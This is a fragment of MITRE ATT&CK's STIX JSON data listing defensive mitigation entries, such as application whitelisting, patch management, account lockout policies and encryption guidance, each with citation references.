                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:15.857Z",
            "name": "Network Service Scanning Mitigation",
            "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n\nOperating System Exploit Protections:\n\n- Use Case: Enable built-in exploit protection features provided by modern operating systems, such as Microsoft's Exploit Protection, which includes techniques like Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG).\n- Implementation: Enforce DEP for all programs and enable ASLR to randomize memory addresses used by system and application processes. Windows: Configure Exploit Protection through the Windows Security app or deploy settings via Group Policy.\n`ExploitProtectionExportSettings.exe -path \"exploit_settings.xml\"`\nLinux: Use Kernel-level hardening features like SELinux, AppArmor, or GRSEC to enforce memory protections and prevent exploits.\n\nThird-Party Endpoint Security:\n\n- Use Case: Use endpoint protection tools with built-in exploit protection, such as enhanced memory protection, behavior monitoring, and real-time exploit detection.\n- Implementation: Deploy tools to detect and block exploitation attempts targeting unpatched software.\n\nVirtual Patching:\n- Use Case: Use tools to implement virtual patches that mitigate vulnerabilities in applications or operating systems until official patches are applied.\n- Implementation: Use Intrusion Prevention System (IPS) to block exploitation attempts on known vulnerabilities in outdated applications.\n\nHardening Application Configurations:\n\n- Use Case: Disable risky application features that can be exploited, such as macros in Microsoft Office or JScript in Internet Explorer.\n- Implementation: Configure Microsoft Office Group Policies to disable execution of macros in downloaded files.",
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            "type": "course-of-action",
            "id": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3",
            "created": "2019-06-11T17:10:57.070Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/M1050",
                    "external_id": "M1050"
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            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1170",
                    "external_id": "T1170"
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            "modified": "2025-04-18T18:00:16.043Z",
            "name": "Mshta Mitigation",
            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
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            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1078",
                    "external_id": "T1078"
                },
                {
                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"
                },
                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "TechNet Least Privilege",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"
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                {
                    "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet",
                    "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A"
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            "modified": "2025-04-18T18:00:16.211Z",
            "name": "Valid Accounts Mitigation",
            "description": "Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1133",
                    "external_id": "T1133"
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            "modified": "2025-04-18T18:00:16.387Z",
            "name": "External Remote Services Mitigation",
            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.",
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            "x_mitre_domains": [
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            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1035",
                    "external_id": "T1035"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:16.585Z",
            "name": "Service Execution Mitigation",
            "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
            "created": "2018-10-17T00:14:20.652Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1042",
                    "external_id": "T1042"
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                {
                    "source_name": "MSDN File Associations",
                    "description": "Microsoft. (n.d.). Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/cc144156.aspx"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:16.766Z",
            "name": "Change Default File Association Mitigation",
            "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1007",
                    "external_id": "T1007"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:16.934Z",
            "name": "System Service Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Microsoft CreateProcess",
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                    "source_name": "Microsoft Disable Autorun",
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            "description": "Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n\nRegular Operating System Updates\n\n- Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.\n- Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution.\n\nApplication Patching\n\n- Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.\n- Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches.\n\nFirmware Updates\n\n- Implementation: Regularly check the vendor\u2019s website for firmware updates addressing vulnerabilities. Plan for update deployment during scheduled maintenance to minimize business disruption.\n- Use Case: Protects against vulnerabilities that adversaries could exploit to gain access to network devices or inject malicious traffic.\n\nEmergency Patch Deployment\n\n- Implementation: Use the emergency patch deployment feature of the organization's patch management tool to apply updates to all affected Exchange servers within 24 hours.\n- Use Case: Reduces the risk of exploitation by rapidly addressing critical vulnerabilities.\n\nCentralized Patch Management\n\n- Implementation: Implement a centralized patch management system, such as SCCM or ManageEngine, to automate and track patch deployment across all environments. Generate regular compliance reports to ensure all systems are updated.\n- Use Case: Streamlines patching processes and ensures no critical systems are missed.\n\n*Tools for Implementation*\n\nPatch Management Tools:\n\n- WSUS: Manage and deploy Microsoft updates across the organization.\n- ManageEngine Patch Manager Plus: Automate patch deployment for OS and third-party apps.\n- Ansible: Automate updates across multiple platforms, including Linux and Windows.\n\nVulnerability Scanning Tools:\n\n- OpenVAS: Open-source vulnerability scanning to identify missing patches.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
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            "name": "Stored Data Manipulation Mitigation",
            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.",
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            "description": "Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures: \n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n",
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            "name": "InstallUtil Mitigation",
            "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
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                    "external_id": "T1054"
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                {
                    "source_name": "Microsoft ETW May 2018",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
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            "name": "Indicator Blocking Mitigation",
            "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Modify Registry Mitigation",
            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
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            "name": "SIP and Trust Provider Hijacking Mitigation",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
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                    "source_name": "Microsoft Disable Autorun",
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                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:19.889Z",
            "name": "Replication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "Account Use Policies help mitigate unauthorized access by configuring and enforcing rules that govern how and when accounts can be used. These policies include enforcing account lockout mechanisms, restricting login times, and setting inactivity timeouts. Proper configuration of these policies reduces the risk of brute-force attacks, credential theft, and unauthorized access by limiting the opportunities for malicious actors to exploit accounts. This mitigation can be implemented through the following measures:\n\nAccount Lockout Policies:\n\n- Implementation: Configure account lockout settings so that after a defined number of failed login attempts (e.g., 3-5 attempts), the account is locked for a specific time period (e.g., 15 minutes) or requires an administrator to unlock it.\n- Use Case: This prevents brute-force attacks by limiting how many incorrect password attempts can be made before the account is temporarily disabled, reducing the likelihood of an attacker successfully guessing a password.\n\nLogin Time Restrictions:\n\n- Implementation: Set up login time policies to restrict when users or groups can log into systems. For example, only allowing login during standard business hours (e.g., 8 AM to 6 PM) for non-administrative accounts.\n- Use Case: This prevents unauthorized access outside of approved working hours, where login attempts might be more suspicious or harder to monitor. For example, if an account that is only supposed to be active during the day logs in at 2 AM, it should raise an alert or be blocked.\n\nInactivity Timeout and Session Termination:\n\n- Implementation: Enforce session timeouts after a period of inactivity (e.g., 10-15 minutes) and require users to re-authenticate if they wish to resume the session.\n- Use Case: This policy prevents attackers from hijacking active sessions left unattended. For example, if an employee walks away from their computer without locking it, an attacker with physical access to the system would be unable to exploit the session.\n\nPassword Aging Policies:\n\n- Implementation: Enforce password aging rules, requiring users to change their passwords after a defined period (e.g., 90 days) and ensure passwords are not reused by maintaining a password history.\n- Use Case: This limits the risk of compromised passwords being used indefinitely. Regular password changes make it more difficult for attackers to reuse stolen credentials.\n\nAccount Expiration and Deactivation:\n\n- Implementation: Configure user accounts, especially for temporary or contract workers, to automatically expire after a set date or event. Accounts that remain unused for a specific period should be deactivated automatically.\n- Use Case: This prevents dormant accounts from becoming an attack vector. For example, an attacker can exploit unused accounts if they are not properly monitored or deactivated.\n\n**Tools for Implementation**:\n\n- Group Policy Objects (GPOs) in Windows: To enforce account lockout thresholds, login time restrictions, session timeouts, and password policies.\n- Identity and Access Management (IAM) solutions: For centralized management of user accounts, session policies, and automated deactivation of accounts.\n- Security Information and Event Management (SIEM) platforms: To monitor and alert on unusual login activity, such as failed logins or out-of-hours access attempts.\n- Multi-Factor Authentication (MFA) Tools: To further enforce secure login attempts, preventing brute-force or credential stuffing attacks.\n",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "type": "course-of-action",
            "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1143",
                    "external_id": "T1143"
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            "modified": "2025-04-18T18:00:21.544Z",
            "name": "Hidden Window Mitigation",
            "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
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            "x_mitre_deprecated": true,
            "x_mitre_domains": [
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            "type": "course-of-action",
            "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1132",
                    "external_id": "T1132"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-18T18:00:21.711Z",
            "name": "Data Encoding Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "x_mitre_deprecated": true,
            "x_mitre_domains": [
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "course-of-action",
            "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1031",
                    "external_id": "T1031"
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                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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            "modified": "2025-04-18T18:00:21.880Z",
            "name": "Modify Existing Service Mitigation",
            "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
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            "name": "Encrypt Sensitive Information",
            "description": "Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. This mitigation can be implemented through the following measures:\n\nEncrypt Data at Rest:\n\n- Use Case: Use full-disk encryption or file-level encryption to secure sensitive data stored on devices.\n- Implementation: Implement BitLocker for Windows systems or FileVault for macOS devices to encrypt hard drives.\n\nEncrypt Data in Transit:\n\n- Use Case: Use secure communication protocols (e.g., TLS, HTTPS) to encrypt sensitive data as it travels over networks.\n- Implementation: Enable HTTPS for all web applications and configure mail servers to enforce STARTTLS for email encryption.\n\nEncrypt Backups:\n\n- Use Case: Ensure that backup data is encrypted both during storage and transfer to prevent unauthorized access.\n- Implementation: Encrypt cloud backups using AES-256 before uploading them to Amazon S3 or Google Cloud.\n\nEncrypt Application Secrets:\n\n- Use Case: Store sensitive credentials, API keys, and configuration files in encrypted vaults.\n- Implementation: Use HashiCorp Vault or AWS Secrets Manager to manage and encrypt secrets.\n\nDatabase Encryption:\n\n- Use Case: Enable Transparent Data Encryption (TDE) or column-level encryption in database management systems.\n- Implementation: Use MySQL\u2019s built-in encryption features to encrypt sensitive database fields such as social security numbers.",
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            "x_mitre_domains": [
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            "type": "course-of-action",
            "id": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "created": "2019-06-11T16:43:44.834Z",
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            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/M1041",
                    "external_id": "M1041"
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            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1122",
                    "external_id": "T1122"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
